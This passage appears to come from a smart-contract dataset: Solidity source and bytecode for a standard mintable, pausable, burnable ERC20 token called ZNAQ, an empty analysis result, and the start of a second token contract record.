assert(msg.data.length >= numwords * 32 + 4);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(_who, _value);
Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract ZNAQ is StandardBurnableToken {
string public constant name = "ZNAQ";
string public constant symbol = "ZNAQ";
uint8 public constant decimals = 18;
address public wallet = 0xE3bf6F453e85B57cdDfF2030BAcf119841d132D5;
function changeWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
wallet = _newWallet;
}
function sendEth() public onlyOwner {
wallet.transfer(address(this).balance);
}
function () payable public {}
} | 0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014b57806306e99fef1461017857806306fdde031461018d578063095ea7b31461021b57806318160ddd1461027557806323b872dd1461029e578063313ce567146103175780633f4ba83a1461034657806340c10f191461035b57806342966c68146103b5578063521eb273146103d85780635c975abb1461042d578063661884631461045a57806370a08231146104b4578063715018a61461050157806379cc6790146105165780637d64bcb4146105585780638456cb59146105855780638da5cb5b1461059a57806395d89b41146105ef57806398b9a2dc1461067d578063a9059cbb146106b6578063d73dd62314610710578063dd62ed3e1461076a578063f2fde38b146107d6575b005b341561015657600080fd5b61015e61080f565b604051808215151515815260200191505060405180910390f35b341561018357600080fd5b61018b610822565b005b341561019857600080fd5b6101a06108f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e05780820151818401526020810190506101c5565b50505050905090810190601f16801561020d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022657600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610932565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610962565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102fd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061096c565b604051808215151515815260200191505060405180910390f35b341561032257600080fd5b61032a61099e565b604051808260ff1660ff16815260200191505060405180910390f35b341561035157600080fd5b6103596109a3565b005b341561036657600080fd5b61039b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a63565b604051808215151515815260200191505060405180910390f35b34156103c057600080fd5b6103d66004808035906020019091905050610c49565b005b34156103e357600080fd5b6103eb610c56565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043857600080fd5b610440610c7c565b604051808215151515815260200191505060405180910390f35b341561046557600080fd5b61049a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c8f565b604051808215151515815260200191505060405180910390f35b34156104bf57600080fd5b6104eb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b6040518082815260200191505060405180910390f35b341561050c57600080fd5b610514610d07565b005b341561052157600080fd5b610556600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e0c565b005b341561056357600080fd5b61056b610fb4565b604051808215151515815260200191505060405180910390f35b341561059057600080fd5b61059861107c565b005b34156105a557600080fd5b6105ad61113d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105fa57600080fd5b610602611163565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610642578082015181840152602081019050610627565b50505050905090810190601f16801561066f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561068857600080fd5b6106b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061119c565b005b34156106c157600080fd5b6106f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611278565b604051808215151515815260200191505060405180910390f35b341561071b57600080fd5b610750600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112a8565b604051808215151515815260200191505060405180910390f35b341561077557600080fd5b6107c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112d8565b6040518082815260200191505060405180910390f35b34156107e157600080fd5b61080d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061135f565b005b600360159054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087e57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156108f757600080fd5b565b6040805190810160405280600481526020017f5a4e41510000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561095057600080fd5b61095a83836114b7565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561098a57600080fd5b6109958484846115c2565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ff57600080fd5b600360149054906101000a900460ff161515610a1a57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac157600080fd5b600360159054906101000a900460ff16151515610add57600080fd5b610af28260015461199690919063ffffffff16565b600181905550610b49826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610c5333826119b2565b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610cad57600080fd5b610cb78383611b65565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610e9757600080fd5b610f2681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb082826119b2565b5050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101257600080fd5b600360159054906101000a900460ff1615151561102e57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d857600080fd5b600360149054906101000a900460ff161515156110f457600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f5a4e41510000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561123457600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360149054906101000a900460ff1615151561129657600080fd5b6112a08383611e28565b905092915050565b6000600360149054906101000a900460ff161515156112c657600080fd5b6112d08383612061565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113bb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006002600460208202016000369050101515156114d157fe5b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60006003600460208202016000369050101515156115dc57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561161857600080fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561166557600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156116f057600080fd5b611741836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117d4836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a583600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600081830190508281101515156119a957fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156119ff57600080fd5b611a50816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa781600154611e0f90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260046020820201600036905010151515611b8057fe5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915081841115611c8e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d22565b611ca18483611e0f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019250505092915050565b6000828211151515611e1d57fe5b818303905092915050565b6000600260046020820201600036905010151515611e4257fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611e7e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611ecb57600080fd5b611f1c836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611faf836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600060026004602082020160003690501015151561207b57fe5b61210a83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001915050929150505600a165627a7a723058202960d4b3e49ad1832f460e6e8125b7ab050ab190d22e6eada08db74c337a86130029 | {"success": true, "error": null, "results": {}} | 9,846 |
0x8b6dd2144a3cc6677600735d0e62134839bb85d0 | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
